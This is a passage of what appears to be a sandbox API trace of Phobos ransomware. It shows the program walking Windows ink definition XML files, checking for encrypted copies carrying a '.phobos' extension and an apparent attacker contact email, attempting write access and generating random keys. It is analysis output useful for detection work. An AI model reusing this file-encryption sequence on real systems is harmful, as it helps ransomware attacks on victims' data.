shared\\ink\\fsdefinitions\\main\\ko-kr.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0132.408] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=15097) returned 1 [0132.408] CloseHandle (hObject=0x2e8) returned 1 [0132.408] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml")) returned 0x20 [0132.408] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.408] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.408] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0132.408] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0132.408] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=9803) returned 1 [0132.408] CloseHandle (hObject=0x2e8) returned 1 [0132.408] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml")) returned 0x20 [0132.409] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.409] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.409] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0132.409] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0132.409] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=11067) returned 1 [0132.409] CloseHandle (hObject=0x2e8) returned 1 [0132.409] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml")) returned 0x20 [0132.409] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.409] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.409] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0132.409] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0132.410] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=10947) returned 1 [0132.410] CloseHandle (hObject=0x2e8) returned 1 [0132.410] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml")) returned 0x20 [0132.410] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.410] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.410] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0132.410] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0132.410] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=44506) returned 1 [0132.410] CloseHandle (hObject=0x2e8) returned 1 [0132.410] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml")) returned 0x20 [0132.410] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.410] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.410] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0132.411] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0132.411] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=737) returned 1 [0132.411] CloseHandle (hObject=0x2e8) returned 1 [0132.411] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml")) returned 0x20 [0132.411] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.411] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.411] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0132.411] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0132.411] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=221) returned 1 [0132.411] CloseHandle (hObject=0x2e8) returned 1 [0132.411] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml")) returned 0x20 [0132.412] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.412] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.412] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0132.412] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0132.412] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=471) returned 1 [0132.412] CloseHandle (hObject=0x2e8) returned 1 [0132.412] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml")) returned 0x20 [0132.412] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.412] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.412] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0132.412] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0132.412] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=215) returned 1 [0132.413] CloseHandle (hObject=0x2e8) returned 1 [0132.413] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml")) returned 0x20 [0132.413] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.413] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.413] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0132.413] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0132.413] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=1069) returned 1 [0132.413] CloseHandle (hObject=0x2e8) returned 1 [0132.413] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml")) returned 0x20 [0132.413] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.413] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.413] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0132.413] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0132.414] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=213) returned 1 [0132.414] CloseHandle (hObject=0x2e8) returned 1 [0132.414] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml")) returned 0x20 [0132.414] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.414] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.414] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0132.414] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0132.414] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=1853) returned 1 [0132.414] CloseHandle (hObject=0x2e8) returned 1 [0132.414] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml")) returned 0x20 [0132.414] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.414] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.415] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0132.415] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0132.415] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=219) returned 1 [0132.415] CloseHandle (hObject=0x2e8) returned 1 [0132.415] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml")) returned 0x20 [0132.415] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.415] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.415] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0132.415] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0132.415] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=924) returned 1 [0132.415] CloseHandle (hObject=0x2e8) returned 1 [0132.415] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml")) returned 0x20 [0132.415] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.416] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.416] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0132.416] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0132.416] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=215) returned 1 [0132.416] CloseHandle (hObject=0x2e8) returned 1 [0132.416] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml")) returned 0x20 [0132.416] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.416] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.416] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0132.416] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0132.417] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=694) returned 1 [0132.417] CloseHandle (hObject=0x2e8) returned 1 [0132.417] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml")) returned 0x20 [0132.417] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.417] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.417] 